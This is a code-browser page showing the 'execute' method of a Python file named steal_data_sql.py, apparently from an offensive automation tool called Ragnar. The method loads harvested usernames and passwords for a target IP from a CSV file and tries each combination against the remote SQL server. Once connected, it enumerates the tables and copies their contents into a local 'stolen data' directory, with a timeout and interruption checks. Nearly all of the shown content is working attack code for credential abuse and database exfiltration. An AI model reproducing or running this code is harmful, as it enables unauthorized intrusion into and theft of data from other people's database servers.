MCPcopy Create free account
hub / github.com/PierreGode/Ragnar / execute

Method execute

actions/steal_data_sql.py:88–166  ·  view source on GitHub ↗

Steal data from the remote SQL server.

(self, ip, port, row, status_key)

Source from the content-addressed store, hash-verified

86 except Exception as e:
87 logger.error(f"Error downloading data from table {schema}.{table}: {e}")
88
89 def execute(self, ip, port, row, status_key):
90 """
91 Steal data from the remote SQL server.
92 """
93 import pandas as pd # lazy: keeps ~44MB pandas out of RAM until an attack action runs
94 try:
95 if 'success' in row.get(self.b_parent_action, ''):
96 self.shared_data.ragnarorch_status = "StealDataSQL"
97 time.sleep(5)
98 logger.info(f"Stealing data from {ip}:{port}...")
99
100 sqlfile = self.shared_data.sqlfile
101 credentials = []
102 if os.path.exists(sqlfile):
103 df = pd.read_csv(sqlfile)
104 # Filtrer les credentials pour l'IP spécifique
105 ip_credentials = df[df['IP Address'] == ip]
106 # Créer des tuples (username, password, database)
107 credentials = [(row['User'], row['Password'], row['Database'])
108 for _, row in ip_credentials.iterrows()]
109 logger.info(f"Found {len(credentials)} credential combinations for {ip}")
110
111 if not credentials:
112 logger.error(f"No valid credentials found for {ip}. Skipping...")
113 return 'failed'
114
115 def timeout():
116 if not self.sql_connected:
117 logger.error(f"No SQL connection established within 4 minutes for {ip}. Marking as failed.")
118 self.stop_execution = True
119
120 timer = Timer(240, timeout)
121 timer.start()
122
123 success = False
124 for username, password, database in credentials:
125 if self.stop_execution or self.shared_data.orchestrator_should_exit:
126 logger.info("Steal data execution interrupted.")
127 break
128 try:
129 logger.info(f"Trying credential {username}:{password} for {ip} on database {database}")
130 # D'abord se connecter sans base pour vérifier les permissions globales
131 engine = self.connect_sql(ip, username, password)
132 if engine:
133 tables = self.find_tables(engine)
134 mac = row['MAC Address']
135 local_dir = os.path.join(self.shared_data.datastolendir, f"sql/{mac}_{ip}/{database}")
136 os.makedirs(local_dir, exist_ok=True)
137
138 if tables:
139 for table, schema in tables:
140 if self.stop_execution or self.shared_data.orchestrator_should_exit:
141 break
142 # Se connecter à la base spécifique pour le vol de données
143 db_engine = self.connect_sql(ip, username, password, schema)
144 if db_engine:
145 self.steal_data(db_engine, table, schema, local_dir)

Callers 1

steal_data_sql.pyFile · 0.45

Calls 11

connect_sqlMethod · 0.95
find_tablesMethod · 0.95
steal_dataMethod · 0.95
infoMethod · 0.80
read_csvMethod · 0.80
errorMethod · 0.80
successMethod · 0.80
cancelMethod · 0.80
getMethod · 0.45
sleepMethod · 0.45
startMethod · 0.45

Tested by

no test coverage detected